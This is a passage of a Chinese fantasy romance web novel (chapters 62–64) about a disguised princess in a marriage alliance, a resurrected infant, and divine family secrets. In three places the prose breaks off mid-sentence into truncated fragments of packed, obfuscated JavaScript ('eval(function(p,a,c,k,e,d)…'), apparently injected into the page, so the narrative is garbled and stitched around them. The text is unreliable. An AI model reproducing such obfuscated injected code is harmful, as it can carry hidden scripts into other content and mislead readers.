白衣仙人广袖当风,墨发飘逸,衣袂翻飞间似有流云暗涌,周身三尺之内,飞沙走石皆不能近。宁安桥立即勒马翻身而下,恭敬地拱手行礼。 “师尊怎会亲临此地?莫非是为了——”宁安桥忽然顿悟,眼中闪过一丝了然,“所以先前那些安胎药材,也是师尊托仙鹤送来的?” 数月前,宁安桥早已察觉楚风身体的异样。奈何他虽行医多年,却只精通男科,对妇科一知半解。一日,仙鹤翩然而至,在医鹿山长大的宁安桥自然明白这意味着什么。 医鹿山因常人难以上山,修行医道之人周游四方时,全靠仙鹤往来传递药材。 宁安桥不仅收到了珍贵药材,还附有详细的安胎方子。他原以为是山中同门相助,却不想竟是师尊亲自安排。 柳砚清神色淡然,直言不讳:“她复生不久,灵脉尚未稳固。前次流产虽止,但胎元已伤。” “悬壶济世,在所不辞。请师尊明示,需要安桥怎么做?” “为师会化身为稳婆,随你回营。” 竟要师尊亲自接生?! 宁安桥瞳孔骤缩,一个可怕的念头如惊雷炸响:莫非楚风腹中胎儿…… 他猛地咬紧牙关,生生截断思绪。甲胄下的脊背已沁出冷汗:“弟子这就引路!” 转身时战靴踏碎枯枝,仿佛慢一步,就会永远失去什么。 帐内烛影幢幢,血腥与汗气在凝滞的空气中交织。 稳婆剪断脐带,托起那个青白的小小身躯。婴孩双目紧闭,睫毛在摇曳烛光下投出死亡的阴影——没有呼吸,没有心跳,只有未干的血污证明他曾活过。 “星辰。” 柳砚清的声音如三月春风拂过冻土。他指尖凝聚一点星芒,轻点婴儿冰凉的额心。 灵光漾开,如月照寒潭。 ——霎时,啼哭惊破死寂。 那具冰冷的小身子突然剧烈颤抖,胸腔起伏,紧闭的眼睑猛地睁开。仙人之力穿透阴阳,硬生生将魂魄拽回人间。 “倒是学了你娘亲的倔强。”柳砚清凝视怀中婴孩,指尖抚过与自己如出一辙的眉眼,“一出生就用掉起死回生的机会……” 他忽然贴近婴儿耳畔,声音轻得只有两人能听见:“哥哥在地府等你太久了……乖,再等些时日,爹爹带你一起去接他。” 抬眸时,仙人眼底闪过一丝血色。他最后轻吻婴儿额头: “过段时日爹爹再来接你。狸奴会照看好你。” 临别前,“稳婆”不舍地看了眼趴在宁安桥怀里虚弱的南风,身影如晨雾般消散。 宁安桥借口打水,追出帐外。 夜风猎猎,仙人独立风中,面容隐在晦暗里,辨不清神色。 “山中学的音律,没忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那一瞬,宁安桥恍若又见医鹿山上,师尊对着虚空露出的温柔神情。虽记不清那女子容貌,他却无比确信——眼前飘摇的营帐里,正躺着让师尊千年不忘的魂牵梦萦之人。 “燕风、楚风俱是化名,”宁安桥目光灼灼,“徒儿想知道她的本名。” 柳砚清望向帐内摇曳的烛火,终是开口:“南风。” “南风?”宁安桥先是一愣,继而失笑,“南来飞燕北归鸿……她果然喜欢这等文绉绉的把戏。” 笑意忽敛。他转头望向营帐,声音陡然沉下:“徒儿还有一问——祈源之死,师尊当年可知情?” 暮色中,仙鹤掠过如血残阳。 漫长的寂静后,风里传来一声几不可闻的“嗯”。 “到底是谁杀了祈源?他现在到底置身何处?” 柳砚清凝视着渐远的鹤影,眼底映出猩红霞光: “为师也不知道。只有她苏醒记忆,才能将答案公之于众。在那之前,没有人能找到他。” 62. 陌上深深 两国使臣会面的场景设在定边军大营外的开阔平地上,四周旌旗招展,士兵列队肃立,气氛庄重而肃穆。东凉使臣的队伍缓缓驶入,为首的使臣身着华丽的锦袍,头戴金冠,身后跟随数十名随从,手持礼器,步履整齐。目之所及,东凉的人肤发偏黑,颇有游牧民族的特色。 闻笙曾在茶馆跟我提起过东凉的风土,他们善骑马,武器锻造和军马训练制度皆在赵国之上。特别是十年一选将军的“大戏”更是精彩,万里挑一,唯有活下来的人才可登上将军之座。 为首的使臣比我想的要年轻。身材倒是魁梧健壮,光看面向很难相信是东凉人,颇有江南地区男子的容貌。 双方使臣在场地中央相遇,东凉使臣微微躬身,行了一礼,贺祈骁则抱拳还礼。接着,东凉使臣从随从手中接过一封金边诏书,双手奉上。 “东凉大将军夏逸飞,奉东凉皇帝之命,特来迎接公主殿下,共商两国和亲大事。” 贺祈骁接过诏书,展开细细浏览,随即合上。 “公主殿下已准备妥当,请使臣稍候片刻。”他挥手示意,身后士兵立即分列两侧,让出一条通道。片刻后,我身着公主的华服,头戴凤冠,缓步走出。阳光洒在衣袍的金线上,熠熠生辉。我颔首垂眸,步履从容,行至使臣面前,依照礼数行三拜九叩之礼。 东凉使臣再次躬身:“公主殿下千岁,东凉上下已恭候多时,愿两国永结秦晋之好。” 我微微颔首:“愿两国和睦,共襄盛举。” “东凉婚俗与赵国稍有不同,公主既来和亲,想必已有所准备。” “多谢使臣大人提醒。” 礼毕,双方使臣各自退后,士兵鸣号三声。风卷旌旗,鼓声渐起,两国使臣的会面在一片庄重与肃穆中落下帷幕。 若不是大风忽起,眼下我已随着东凉的车马启程。 返回营帐内,不止是我,所有人都缓了口气。 然而并没有。 本该回事先准备好的营帐歇息的那位东凉使臣,大步朝我们这方走来,步入帐内,他恍若目中无人,无视同在一室的贺祈骁和我身边正交代事情的史丞相,直逼我而来。沉着的脸眯起眼睛上下打量我,然后似笑非笑地问:“这位便是清漪公主吗?” “是……”史丞相应声后退至一旁。 东凉使臣朝我迈步,凛冽的目光居高临下地看着我。我不紧不慢地调整仪态,颔首行礼。 “公主殿下一路辛苦了。京都至此,应该费了不少时间。” “多谢使臣大人关心。” 忽地,他发出一声冷笑。 “公主殿下对这塞外的严寒倒是适应得极好,如此风沙肆虐之地,殿下依旧容光焕发,令人钦佩。” 我并不在意他话语中的嘲讽,只是勾了勾唇角,轻笑着回应:“西北区域气候相似,也待了些时日,是该适应了。”我望向账外的风沙,“况且,余生都要在这儿了,不是吗。快些适应,总没有错。” 东凉使臣站在我对面,脸上虽挂着礼节性的微笑,但那笑意未达眼底,反而隐隐透出一股冷冽的愁意。 不安感和恐惧在心中交织,我屏住呼吸,努力维持着表面的镇定,掌心已沁出一层薄汗。暗暗告诫自己:绝不能露出破绽,绝不能让他察觉分毫。 我对他笑了一笑。 “使臣大人一路赶来也辛苦了,早些回营歇息吧。” 他不语,军帐内的空气凝滞,帐外的风沙卷起拍打头顶的篷布,发出难听诡异的声音,云层间发出沉闷的雷鸣。 许久,他退后几步与我拉开距离,终于扬起唇角。 “今日天气异变,不宜出行。公主殿下早些休息,接亲典礼半月后举行,明日一早我们便前往东凉。” 说罢,他正想离开,我叫住他。 “还不知使臣大人姓名?” 他不置可否地挑起眉,尽管一闪而过,我还是捕捉到了他眼底渗出的一丝杀气。站在我身旁的史丞相轻咳着凑到我耳边低声介绍:“殿下,这位是东凉大将军,夏逸飞。” 大将军?从万人尸骨中脱颖而出的大将军?难怪出场自带杀气,原来是天生的。 “抱歉,是我疏忽了,还望大将军海涵。” “公主殿下还真是健忘。”夏逸飞讥讽般笑道,走出营帐又回头望向我,“怕不是连皇城京都在哪儿都不记得了吧。” 等夏逸飞离开,贺祈骁重重叹了口气:“看来是败露了。” 果真如此吗。 我舔了舔干裂嘴唇,双手和双脚终于松懈一些开始止不住的发抖。憋屈至极,眼泪也不争气跟着出来。 “现在怎么办……我该怎么办……杀了我,也弥补不了这个谎言吧……” 我看向史丞相,他避开我的眼神看向贺祈骁,我也顺着他的视线望向那位骁勇善战的大将军,战场上临危不惧沉着冷静的大家将军,此刻脸上也浮现出了不安。 “夏逸飞恐怕猜到了你不是真正的公主。”贺祈骁扶额叹了口气,“到底是怎么看出来的……” 不是我伪装的不像,也不是我的气质与公主相差甚远,所以贺祈骁想不明白,到底是哪里败露的。说话吗?我说错了什么吗?因为自称我,所以暴露了?如果都不是……那只有一种可能。 贺祈骁沉思犹豫了一会儿,起身走到我跟前:“他既然已经发现,但没有当面拆穿,我想,他应该不会将此事禀告东凉皇帝。” “又或者,等回到东凉皇宫再将我赶尽杀绝?他们会不会以此要挟,大举进攻赵国?” 我对上贺祈骁的视线,那双深邃的眼睛里涌动着怜悯和无奈。他无法保证我说的会不会成真。 “此事本与姑娘无关,贸然将姑娘牵扯进来,皆是我的错误。” “不是将军的错——” “有什么我能为你做的事,尽管开口。我贺祈骁向来说到做到,只要是我能完成的。” “……” 虽然感觉此时开口有些奇怪,但既然大将军都开口了,我倒确有一事想要拜托他。 “不过贺将军放心,无论如何,我都会保全赵国,不让东凉以此为由进军。” “……谢谢你。” 温暖的营帐内,宁安桥刚哄睡好星辰,将她放在柔软的小床上,怜爱地抚摸她的小脑袋。小丫头喊着手指,嘟着粉嫩的唇,含糊不清地哼出声。 我深吸一口气,整理好情绪,走到她身边坐下,依偎着宁安桥。 “明日一早出发。” 宁安桥没有回答,看着星辰扬起一抹苦笑。 “你看她,睡得多香。” “是啊。” 他低头看着星辰,收回手掌,而后转身将我拥入怀中,嘴唇紧抿成一条线,无可奈何地叹息落在我的耳畔。我们都清楚明白,现在局面已经无法挽回。我最放心不下的,是星辰。星辰还那么小,不可能留在军营,更不可能和我一起走。 只有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他不信我怎么办,他恨我不早点告诉他事情怎么办,他无法接受星辰怎么办……所有的问题一股脑堵在胸口,身体又沉重得好像要死掉。 “他可是颜卿啊……就算全世界都不信我,他都会站在我身边的颜卿,怎么可能不信我……” 我无力地趴在书案上,憋了一夜,终于在夜深人静时尽情释放。 护送星辰的车马天未亮便悄然出发。怕引起东凉人的注意,马车停在离军营较远的地方等候,我和宁安桥抱着熟睡中的星辰踏着浅草赶去马车边。贺祈安特地从环州请了位奶妈跟着,怕路上星辰找不到奶喝。 怕打草惊蛇,没能和星辰再说句话,马车便匆匆启程。 晨光微露,秋风卷起几片枯叶,在空中打着旋儿。 我死死抓着宁安桥的手腕,泪水无声地滑落,像是断了线的珠子。若不是他紧紧拽着我,我恐怕会忍不住冲出去,追上那渐行渐远的马车。 “星辰……” “娘亲不想离开你……” “娘亲还没看着你学会走路,学会说话,学会叫我一声……” 我转身埋进宁安桥的胸膛,突然听到不属于我的呜咽,抬头发现,魁梧的男人现在冷峻的面庞挂满泪水。 平日坚如磐石的男人,此刻却像一座崩塌的山。我从未见过他脆弱的面,心中一阵酸楚,伸手轻轻擦去他脸上的泪痕。 “你别哭啊……看你哭,我更想哭了……” 宁安桥一把擦掉脸上丢人现眼的东西,把我紧紧揽入怀中,摩挲我的后背。 “我没哭。” “还说没哭……眼泪都掉我身上了。” 日出在即,我也该朝着反方向开启下一段故事了。 63. 夏云深逸 晨光微亮,和亲队伍已列阵营外。马蹄踏霜,铁甲凝寒。 我坐在马车里,攥紧锦缎。挑帘望去,宁安桥立在最前,身后是无数熟悉面孔。 昨夜他说:“人活着,总会再见。” 烛光映着他郑重的眉眼,我没敢应声。 此刻隔着车帘,我睁大双眼,想牢牢记住眼前的一切,直到营旗模糊成影。泪水浸透衣襟,袖口一抹,胭脂在嫁衣上晕开残红。 夏逸飞横枪立马,一声“启程”划破晨雾。 车轮碾过冻土,马蹄声碎。 东凉皇帝举行的迎亲婚宴是次日,当夜,夏逸飞安排我住在兴庆府的一家客栈。 我站在客栈二楼的窗前,推开雕花的木窗,一阵清凉的夜风扑面而来,残留着淡淡的桂花香。悬挂深夜的月,银辉洒满屋瓦,远处群山如墨。 偶尔有行人走过,脚步声在寂静中格外清晰。月光透过窗棂,无声地洒在屋内,为这异乡夜添了一丝静谧与温暖。 星辰此刻停在哪家驿站休息呢…… 门外不断有巡逻的士兵路过的声音,偶然听见窸窣地交谈声。 突然,一个身影从上方轻巧跃下,稳稳落在我的窗台上,动作干净利落,仿佛夜行的猫。月光勾勒出他挺拔的轮廓,是夏逸飞。 我紧张地吞咽了一下,一时不敢轻举妄动。 “明日进宫,陛下设宴迎接公主。我怕公主想家睡不着,所以来看看。” 谁家关心人是从窗户翻进来的。 我不太想搭理他,转身走到床沿端庄坐下。 “多谢将军关心,我很好,你可以下去了。” 夏逸飞却逐步靠近,单膝跪在我身侧的床铺上,俯身凑近,眼神直勾勾地盯着我,像是要把我看穿。 “我说了我没事,将军这是做什么?” 夏逸飞没吭声,眼神冷得像寒冰,手却突然动了,一把抓住我的衣领。他猛地一扯,衣领被掀开,凉飕飕的风灌进来。 我心头一紧,还没来得及反应,他的目光已经落在我身上,胸前的一切被他一寸一寸扫过。 “你!你做什么!” “梅花印呢?” 心里一股火气直冲脑门,我想也没想,一把将他推开,抬腿就朝他肚子踹了过去。 这一脚用了全力,鞋底结结实实撞在他腹上。他闷哼一声,身子猛地一弓,踉跄着往后退了几步,手捂着肚子,眉头皱得死紧,眼神却还是死死锁在我身上,像是没想到我会来这么一下。 “大胆!我可是公主!” 他活动着筋骨,沉着声说:“我知道你不是。快说,胸口的梅花印为什么消失了?” 他又一把钳住我的手腕,力气大得我挣不开。 “我身上从未有过印记,不知道你在说什么。”我拼命挣扎,五官皱成一团,“夏逸飞你松开我!” “我知道是你,别想唬我。” 我狠狠瞪着他,捏紧手心努力让自己的声音听上去平稳而有耐心。 “我也知道我现在大喊出声,史丞相和外面巡逻的士兵听到会有什么后果!” “威胁我?你可知道你现在犯下的罪,可是会掉脑袋的。” “我就是公主。” “你不是。”他语气坚定,“你骗得了所有人,唯独骗不了我。” “夏将军为何如此肯定?可有什么证据?” “你胸口的梅花印。” “我胸口什么都没有。” “我说你有,你便有。” “……” 我默然不语,跟一意孤行的人说什么都是白费口舌。 “我跟将军无法交流,请回吧。” 他径直走到窗边,眺望东凉皇宫。 “过了今夜,你就是东凉皇妃。”他说着转身看我,“你还有机会。” “机会?”我了然冷笑,“身为东凉大将军,竟然要帮我逃婚?” “愿意一试。” 我暗暗嗤笑,坚定地抬起头:“多谢将军。我是抱着两国友好来和亲的,不会逃婚,请回吧。” 可是他没有就此善罢甘休,问出一个我不能理解的问题。 “你要是嫁给陛下,我怎么办?” “你怎么办?” 管你怎么办。但我没有说出口。 我沉思片刻,给出了答案:“继续做你的大将军,该干什么干什么。” “……骗子。” 四周太过安静放大了他声音里的凛冽。 我的心突然变得很沉重。不是因为他骂我骗子,而是这个词太适合我。 “我想将军是有什么误会。起初我也怀疑过我们是不是旧识,但种种迹象表明,你认错人了。将军是东凉的将军,而且将军认识的人胸口有梅花印。姑且只是长得相似罢了,我不是将军认识的人。” “风。” “什么?” “你的名字,带一个风字,对不对?” 我紧紧地盯着他,故作淡定道:“风不是什么稀罕的字,同名的人不计其数。” “我说是你,一定是你,不必与我白费口舌。” 他一步步向我走来,背着窗外照进的月光,脸上的神情看不真切。 “我不是东凉人。死里逃生出了东凉的地牢,才坐上了大将军之位……别跟我说你把这些通通忘了。” 入夜,在床榻上辗转了两个时辰,我依旧没有困意。 真就一点都想不起来吗…… 玉笛静默着躺在枕边,对我的提问偶有回答。我如果叫它吹奏一曲,它会毫不犹豫地响起同一首曲子。我如果问它关于重生前的事,它便装作一支普通的笛子默不作声。 我脑子一转,突然想起了之前山洞内神像说过的话。 “神器会指引我,例如引梦……” 我一把握住玉笛,目光灼灼地盯着它。 “帮我做场梦吧,我想见一个人,我想见方大仙。但前提是,这场梦我要醒来后还记得。如果你不能答应我这一点,这梦,不引也罢。” 说着,我将玉笛护在胸口,闭上双眼。 “拜托了……求你,答应我,让我见见他吧。” 一缕金光乍然闪现在眼前,一头牵引着我的手,一头连着接虚幻的仙境。我还未反应过来,眼前的景象乍然改变。 我转头,背后就是背着手的方大仙——他眉头紧锁,微垂的目光里倒映着另一幅光景。我顺着他的视线再次回头,虚无的幻景变成了一方庭院,熟悉的竹林、熟悉的池塘、熟悉的屋舍。 “这里是……” “蓬莱第几宫。” 三百年前,柳砚清求学之地。 原来这个地方的名字就叫蓬莱第几宫。 闻笙家窗外的竹林,医鹿山后山的莲池和屋舍。柳砚清曾说后山小院的一切都来自仙界,我猜测是重生前的我留下的,如此看来,是将蓬莱第几宫的模板照搬到了人间。 我看向身旁的方大仙,许久不见,他似乎苍老了些。明光透过竹叶在他脸上投下斑驳的影,他雪白的鬓角似乎比记忆中又添了几缕霜色。“神仙也是会老的”,这个想法浮出脑海。 “爹……” 这个称呼滚到舌尖突然变得陌生,我张了张嘴,后半句话卡在喉头。良久,沉下气来问道:“大仙是听到了我的话,才入我的梦吗?这次,不可以再消除我的记忆了。我们提前说好的。” 方大仙抬手捋了捋胡须,笑道:“放心吧,答应你的事,吾向来说话算数。” 我憋着嘴,心底却是开心地反驳:“哪里说话算数了……” 虽然记不太清楚,但他消除我的记忆,可不止一次两次。那些零星的片段像撕碎的纸片,偶尔在梦中闪现,醒来后又消失无踪。 “凡事有特例。”他的神情温柔,“说吧,找吾有什么事。” 我迟疑着开口:“你……知道我在人间发生的事吗?” “知道。”他回答得干脆利落。 “那你一定知道我的另一个孩子现在在哪里,对不对?” 我的声音不自觉地提高了八度,带着连我自己都没察觉的颤抖。 恐怕是我问出的问题与方大仙预想的不同。听到我的问题后,他迟疑了片刻:“知道,在地府。” 我一下软瘫无力。 “那孩子,还好吗?” “吾没能见到他。” 心脏像是被什么紧紧捏住。 连方大仙也见不到他,我又如何能再见到他。眼睛涩的生疼,我缓慢地闭了闭。 方大仙继续说:“你在信州与他成亲之前做过的一场梦,还记得吗?你所看到自己抱着的孩子,不是女娃。” 忽然,眼前的画面不受控制地闪烁着。幽深空荡的境界,一束光落下,照亮女人抱着怀中孩子的样子。我站在一旁,看着不可思议的一幕。那个人是我,怀中的孩子,不是星辰。不是女娃,是个男娃。 “大仙的意思是——!” 我急得瞪大眼睛,手指不自觉地想抓住什么。 方大仙揉了揉我的头顶,温柔的声音道出令人心安的话:“你会再见到他的,吾向你保证。” 许久我都没再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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许久,方大仙冷哼一声,宽大的袖袍一甩故作无奈地叹了口气,起身欲要离开。我立马叫住他:“大仙去哪儿?” 他的背影挺拔如松,语气却冷得像腊月的寒风。 “找砚清问话。” 这语句就像是要去质问,不对,更像找仇家对峙。 紫衣仙子听见后急切地插话:“砚清最近在天宫述职,爹爹找他做什么?我可以帮您转达。” 爹爹?方大仙是紫衣仙子的爹? 方大仙转过身,目光如炬:“你?别以为吾不知道你和他之间藏着掖着什么秘密。” 他的声音不大,却让紫衣仙子的脸色瞬间变得苍白。 我一听到柳砚清的名字便瞬间坐不住,完全忘了气氛的压抑,脱口而出:“师尊?!我也去!” “不行!” 方大仙猛地转身,眼中闪过一丝我读不懂的情绪。 “吾问你,柳砚清、闻笙、宁安桥,你选谁?” 我眨了眨眼,不解地笑问:“这是……什么奇怪的问题?” 方大仙眸中的金光时刻紧盯着我,要我必须回答他这个没有意义的问题。 “柳砚清。” 柳砚清便是我的答案。如果他再问起颜卿和柳砚清我选谁,那我真答不上了。 好在他没问。 顿了顿,方大仙的语气缓和下来,却透露出不容置疑的威胁意味:“以后,不许叫他师尊。” “为、为何?” “吾倒想问你为何唤他师尊?” 头一回思考这个问题。其实没有原因,顺口而已。 “直呼姓名,不太礼貌。于是就……” 我的声音越说越小,主要因为方大仙的表情我每说一个字就阴暗一分。 “总之,以后不许再他喊师尊。按年纪,你在上。按辈分,你也在上。抛开你们俩无聊的戏文,他该唤你师姐。” “师姐?!为何?还有,什么无聊的戏文?” 方大仙没再继续柳砚清的事,仙人的指尖抬起,我心生不妙,赶忙躲开。他笑了,似乎并未打算抹去我的记忆,不过试探我的反应。 “可怜的孩子。也怪爹爹当初考虑得太简单。放心,爹爹答应娘亲的,无论如何都会保护你的。 “爹爹?” 娘亲……我有娘亲?可为何,即便是梦里,我也不曾见过她? 方大仙怜惜地抚摸我的脑袋。 “傻姑娘,吾,就是你的亲爹啊。” 64. 洛城春晚 洛城的春天相比同路府的春天来的稍晚些。 少年盘坐在百年老柳下,粗粝的指节正与柔韧的柳条缠斗。 淡黄花冠在膝头初现雏形,露水顺着歪斜的藤纹滚落,洇湿了粗麻衣襟。 远处细碎的铃铛声渐近,他慌忙将半成品塞进怀中。 “逸飞哥哥!” 韩风提着月白裙裾跑来,脚踝上的红绳铃铛发出轻响,发间别着的迎春花扑簌簌落在少年肩头。 她举起编得歪歪扭扭的柳环,浅杏色发带被风吹得缠上柳枝。 “逸飞哥哥看我新编的柳条帽怎么样?” 夏逸飞接过草环,就着阳光调整断裂处。 “这里要收尾时多绕半圈才不会散开。” 忽又从背后变出个缀满星子花的藤冠,紫白相间的小花在晨光里流转。 “这个才配得上云溪村最灵巧的姑娘,尤其是叫韩风的姑娘。” 少女眼睛亮晶晶地拽起他衣袖。 “我发现那边有一簇白色的小花,我带逸飞哥哥去看!” 夏逸飞腰间木剑撞在溪石上叮咚作响,他反手握住韩风纤细的手腕。 “慢些跑,当心青苔。” 凡是和韩风出游,夏逸飞都带着那把师傅赠予他的木剑,说要保护好她。 蒲公英纷飞的浅滩,韩风踮脚去够岩缝里的白花,鹅黄腰封衬得身姿如初绽的柳芽。 转身时却见少年膝头摆着两个新编的柳冠,晨露在嫩叶上凝成七彩光晕。 韩风跪坐在青石上编织新柳环,浅碧色腰封随动作泛起涟漪。夏逸飞望着她翻飞的指尖,柳枝在葱白指节间化作精巧的环。 “干嘛又编一个?” “这个归你,这个归我。” 突然扣上少年发顶的柳冠惊飞了栖息的翠鸟,以及无法平息的鼓动。 郎骑竹马来,绕床弄青梅。 小小的少年与少女早早懂得了情爱,只是时候未到。 “逸飞哥哥,你看那边!” 韩风忽然停下脚步,指着不远处一片开满紫色小花的山坡,眼中满是惊喜。 她手里提着一个小竹篮,篮子里已经装了几朵刚摘的野花。 “是紫云英,开得真旺。走,我们去摘一些。” 韩风提着裙摆,轻快地跑向花丛,夏逸飞则紧跟在她身后,目光始终落在她的背影上,生怕她一不小心被石头绊倒。 果然,韩风跑得太急,脚下一滑,身子向前倾去。 夏逸飞眼疾手快,一把拉住她的手腕,将她稳稳扶住。 “慢点,这山路不平,小心摔着。” 韩风笑嘻嘻地说:“有逸飞哥哥在,我才不怕呢!” 夏逸飞无奈地摇摇头,松开她的手,却依旧走在她身侧,随时准备护着她。 “逸飞哥哥会不会太小瞧我了?哪有那么容易摔。而且娘亲说了,摔一摔是好事,以后跌倒才好爬起来。” “只要我在,我就不会让你受伤。” 韩风了然笑着伸出手,“那你可要牵好我,别再让我摔着了。” 夏逸飞心头一阵悸动,轻轻握住她的手:“好,我牵着你。” 山野清河,暮色轻笼,走走停停。 霞光渐褪,映亮她眼底的笑意。两人影子在暮色中交叠,风过野花,香气弥漫。她别过发丝,他心绪暗涌,如春芽初绽。 “逸飞哥哥长大以后有什么梦想?” 他忽然单膝点地,握紧短刀在石上擦出火花:“我想——上阵杀敌,保家卫国。前些日子到村里的李师傅据说在收徒教授武功,我想跟他学武。” “那不是很危险。万一……我们就再也见不到了。” 夏逸飞咧嘴一笑,拍了拍胸脯:“放心吧,我这么厉害,不会死在战场上的。” 韩风撇了撇嘴,伸出小拇指:“拉钩。你答应我,一定会回来。” 夏逸飞摇摇头,一脸认真:“拉钩信用不高,我发誓给你听!” 他站起身,抬头望天,声音洪亮。 “我夏逸飞,对着天,对着地,对着韩风发誓!将来上阵杀敌,夺取功名后,一定回到这里。活着回来,娶韩风为妻!” 十四岁的少年对着十三岁的少女说什么呢! 韩风的脸一下子熟透,她急得直跺脚,羞恼地推了他一把把脸藏起来。 “你——你怎么说得出口!我们才多大啊,就……私定终身……” 夏逸飞笑嘻嘻地凑近她:“韩风妹妹不想嫁给我吗?” 韩风娇羞地低下头,手指绞着衣角:“我说了不作数,得听爹爹的。” 少年得意地扬了扬眉毛,信誓旦旦挺起腰:“韩叔叔可喜欢我了,一定会答应的。要不……我现在就上门提亲?” 少女急了,伸手拽住他的袖子,生怕他一不留神就真跑去提亲。 “说什么玩笑话呢,你快坐下吧。” 夏逸飞从小无父无母,自李师傅到村子后两人形影不离,李师傅待夏逸飞如父亲般,夏逸飞跟他走,或许是条对的路。 想到这里,韩风稍微松了一口气,也许自己的担心是多余的。 毕竟他可是逸飞哥哥,无论在什么情况下都能自信满满、如同太阳般温暖的他。 他能保护好韩风,也定能保护好自己。 韩风慢慢攥紧了手心,想牢牢抓住这份停留在掌中的温度和力量 “等逸飞哥哥离开后,我也会离开。” 夏逸飞一愣,转头看她:“去哪儿?” “进宫当宫女。年满二十五就能回来。” “那我们约定好,等妹妹你年满二十五回到这里,我也赶回来,我们就成亲!” 韩风脸上的红晕还未消退瞬间又红个透彻。 “逸飞哥哥干嘛左一个娶我右一个成亲……” 夏逸飞咧嘴笑着揉了揉韩风的头顶。 “这不怕你忘了嘛,谁让你记性不好。” “我记性可好了,连逸飞哥哥家那么远都记得位置。” 夏逸飞挑了挑眉,故意逗她:“可我的生辰却不记得。” 韩风有些心虚地低下头,小声嘀咕:“生辰太难记了,好几个数字呢。” 夏逸飞得意地笑了:“我就记得你的,十月十五。” “逸飞哥哥的是……?” “不告诉你。” “怎么这样!明明知道我记不得,好哥哥就告诉我嘛。” “不~慢慢想吧,我不急。” 韩风气鼓鼓地松开手,扭过头去:“那我也不答应逸飞哥哥,看谁恼得比较厉害。” 夏逸飞伸手戳了戳她的脸颊。 “两码事,不可相提并论。” 少女转过头,冲他做了个鬼脸:“我说可以。” 少年也学着她的样子,吐了吐舌头:“不可以!” 韩风忍不住笑了,又冲他吐了吐舌头:“略略略!” 夏逸飞看着她那副调皮的样子,忍不住也笑了。 夕阳下,两人的笑声回荡在空气中,仿佛连风都变得温柔起来。 远处的阿黄(狗)似乎也被他们的笑声感染,欢快地跑过来,围着他们转圈,尾巴摇得像个小风车。 韩风伸手摸了摸阿黄的头,轻声说道:“逸飞哥哥,你要记得,不管去哪里,都要平安回来。我们……一定要再见面。” 夏逸飞看着她,眼神温柔。 “嗯,我一定会回来,带着功名,风风光光地娶你。” 韩风抿着嘴笑了。 “一言为定,我等你回来。” 夏逸飞也笑了,伸手握住她的手。 “君子一言,驷马难追!不,六马!” 两小无猜,一言既定,此生不负,誓约长存。 十三年前,洛城柳色浸烟的暮春。 面对出生四个月的女娃,云溪村韩家的男主人始终想不出取什么名字好,因为孩子自出生胸前就有一处形似梅花的红色胎记,本想取名韩梅,可妻子不满意,说先放一旁,有朝一日会突发灵感。 一搁置,就是四个月。 罢了,上山拜拜神吧,看神的指引。 山路不算陡,但抱着孩子走起来也不轻松。 男人提着香油和供果,时不时回头看看自家娘子和女儿。 见她走得有些喘,便主动接过孩子用背带将孩子背在背上,继续提上香油供果,笑着说:“你歇会儿,我来抱。” 韩氏擦了擦额头的汗,也替丈夫擦了擦。 点了香,男人跪在神像前,心里念叨:“求神明给小女取个名字吧,咱家闺女不能一直没个正经名儿啊。” 韩氏也在一旁合十拜了拜,眼睛时不时瞟一眼女儿胸前的胎记。 拜完神,两口子抱着孩子往山下走。走到半山腰,忽然一阵风吹过来,带着点凉意,吹得人睁不开眼。 等风停了,两口子睁开眼,远远看见一棵梅花树下站着个白衣女子,像是从画里走出来的,站在那儿,眉眼含笑,静静地看着他们。 那梅花开得正盛,花瓣随风飘落,落在她肩头,像是雪一样。 韩氏看得呆了,心里忽然一动,嘴里无意识地念出一个名字: “韩风……” 男人听见了,愣了一下,转头问:“你说啥?” 韩氏自己也有些恍惚,低头看了看怀 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“人界的时间走得比蓬莱慢,我和你娘亲抚养北雷长大,几年后又怀上了东婝。不过东婝是在蓬莱出生的,没有体会过人界的生活。” 南风仙子似懂非懂地点头,说:“所以某种意义上来讲,哥哥算凡人?” 都是哥哥,但南风从来只唤北雷为哥哥,西雨就是西雨。 “谈论被北雷之前,还是先担心你自己吧。” “我?” “仙人赐名,日后,必要替此凡人挡一次灾。” “我没有赐名,只是制造了幻境,让他们看见罢了。” “然后他们得出了韩风一名。” “……这也算。” “契约已定,天命难违。那孩子此生会遇到一场大劫,韩风的名字是你给的,这场大劫注定要由你去替她承受。” “爹爹已经看到未来了?要不跟我提前透露一下是什么大劫?” 方大仙看了眼自己不成器的小女儿,苦笑一声,眼神低垂下去。 “此劫名为情囚。” “你这一生总跟情过不去啊。爹爹用尽全力也只能救你一次。” 南风仙子不解方大仙的话,露出疑惑的表情。方大仙没有预知未来的能力,但有一人可以,但那人……早在她出生后不久便离世了。南风不记得母亲的样子,哥哥说,和二姐长得很像。二姐的能力是梦境,而娘亲的能力便是通过幻境看到未来。 看到未来,但无法改笔结局。 桑竹仙子预感到自己快离世时,在水镜前坐了整整七日七夜,她想看看四个孩子的未来,若能提前预知危险,也能提前做些什么。 前三人命途还算平坦,虽有颠簸但不至于无法挽回。 除了南风。 桑竹仙子看到了她会两次前往西洲岛。 她去过那里,也亲眼见到了西洲岛上的人如何终结自己漫长的寿命。 南风去那里做什么?为何会去两次? 桑竹仙子直到临死前也沉浸在那段无法变更,无法窥见内里的未来。 她用笔写下了关键信息,来不及写下所有,至少告诉方大仙南风的未来。 彼时,方大仙有意将起死回生之术废弃,从仙术界消失。 无法救活自己的夫人,这术法有何用! 可眼下看来,用途颇大。 “两次?可起死回生之术只能用一次……” 方大仙坐在床榻边,握紧桑竹仙子的手,忍着离别之苦说道。 